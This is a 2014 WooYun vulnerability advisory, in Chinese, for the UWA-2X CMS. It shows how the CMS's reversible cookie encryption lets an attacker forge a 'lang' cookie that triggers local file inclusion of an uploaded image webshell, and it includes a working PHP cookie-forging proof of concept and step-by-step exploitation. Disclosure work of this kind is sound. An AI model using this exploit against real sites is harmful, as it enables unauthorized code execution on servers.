当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076892

漏洞标题:UWA-2X(v2.1.3) 某函数缺陷导致的 前台无限制getshell

相关厂商:asthis.net

漏洞作者: roker

提交时间:2014-09-23 12:29

修复时间:2014-12-22 12:30

公开时间:2014-12-22 12:30

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-23: 细节已通知厂商并且等待厂商处理中
2014-09-23: 厂商已经确认,细节仅向厂商公开
2014-09-26: 细节向第三方安全合作伙伴开放
2014-11-17: 细节向核心白帽子及相关领域专家公开
2014-11-27: 细节向普通白帽子公开
2014-12-07: 细节向实习白帽子公开
2014-12-22: 细节向公众公开

简要描述:

看到有人在360库带提交了这个程序的漏洞。最新版下来看看,
表示还是喜欢提交乌云 :)

详细说明:

漏洞出现在cookie加密函数

public static function encrypt($txt, $key = '') {
$encrypt_key = md5(mt_rand(0, 32000));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr] . ($txt[$i] ^ $encrypt_key[$ctr++]);
}
return base64_encode(self::_crypt($tmp, $key));
}
public static function decrypt($txt, $key = '') {
$txt = self::_crypt(base64_decode($txt), $key);
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}
private static function _crypt($txt, $encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}


咋和dede的一样呢。。。
WooYun: DedeCMS-V5.7-SP1(2014-07-25)sql注入+新绕过思路
这个加密算法我逆向过,,就不多说了。。。
因为这个可以逆所以我们可以控制cookie。
接下来就是getshell了
看到
/core/lib/core/App.class.php

private static function load_lang() {
$langSet = C('LANG.NAME');
/* detect language */
if(C('LANG.DETECT')) {
$_t_l = ARequest::get(C('VAR.LANG'));
if(!empty($_t_l)) {
$langSet = strtolower(ARequest::get(C('VAR.LANG')));
ACookie::set('lang', $langSet);
}
elseif(ACookie::get('lang')) {
$langSet = ACookie::get('lang');
}
elseif(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
preg_match('/^([a-z\-]+)/i', $_SERVER['HTTP_ACCEPT_LANGUAGE'], $matches);
$langSet = strtolower($matches[1]);
ACookie::set('lang', $langSet);
}
}
define('LANG_SET', strtolower($langSet));
/* load framework language */
if(is_file(PFA_PATH . '/lang/' . LANG_SET . '.lang.php')) {
L(include PFA_PATH . '/lang/' . LANG_SET . '.lang.php');
}
elseif(is_file(PFA_PATH . '/lang/' . C('LANG.NAME') . '.lang.php')) {
L(include PFA_PATH . '/lang/' . C('LANG.NAME') . '.lang.php');
}


ACookie::set('lang', $langSet);
接收lang的cookie后 再包含。 我们可以上传个jpg格式的shell再截断包含,因为数据是加密再解密进入的,所以无视gpc的影响~
-------------------
利用过程,
首先注册个长度为24的账户,这样才能完美的控制cookie的值,

1.jpg


上传个jpg格式的shell

2.jpg


记住地址后,看下cookie uwa_m_userid的值。他的明文对应格式为

s:长度:"账户名";


将得到的值
填入下面的poc

<?php
function cracked($Expressly,$Ciphertext,$str,$way){
$Ciphertext = base64_decode($Ciphertext);
if ($way=="descrypt"){
$text2="";
$str=base64_decode($str);
}else{
$text2="a";
}
$j=0;
$s=0;
for($i=0;$i<strlen($str);$i++,$s++){
if($j==32){$j=0;$s=0;}
$tmp=$Ciphertext[$j]^$Ciphertext[$j+1];
$tmp=$tmp^$Expressly[$s];
$tmp=$tmp^$str[$i];
if ($way=="descrypt"){
$text1=$tmp^$str[++$i];
}
else{
$text1=$tmp^$text2;
}
$xxoo =$xxoo.$text2.$text1;
$j=$j+2;
}
if ($way=="descrypt"){
echo $xxoo;}
else{
echo base64_encode($xxoo);}
}
$a=$_GET['a'];
$a=serialize($a);
cracked("s:24:\"a11111111111111111111111\";","U3pRPFA/VjMHaVMsW2BWNVFlVTJWZQU1CDxZMVNgXWdUP1YwUDwHZ1QxA28OZVQ3DTlWMVVmUmJVYQxkV3ddbQ==",$a,"encrypt");

?>


得到最终的playload

3.jpg


poc需在gpc关闭的情况下运行。目标站开不开gpc就无所谓了,因为数据是加密再解密进入的,所以无视gpc的影响~


修改cookie值, 可以看到成功执行了php脚本

4.jpg

漏洞证明:

如上所述

修复方案:

换个算法。或者过滤下解密后的值

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-09-23 13:11

厂商回复:

感谢提交

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-23 12:43 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    小厂商?感觉不应该啊

  2. 2014-09-23 12:48 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    @menmen519 = =。 不开心

  3. 2014-10-11 12:08 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    @roker 大牛就是不一样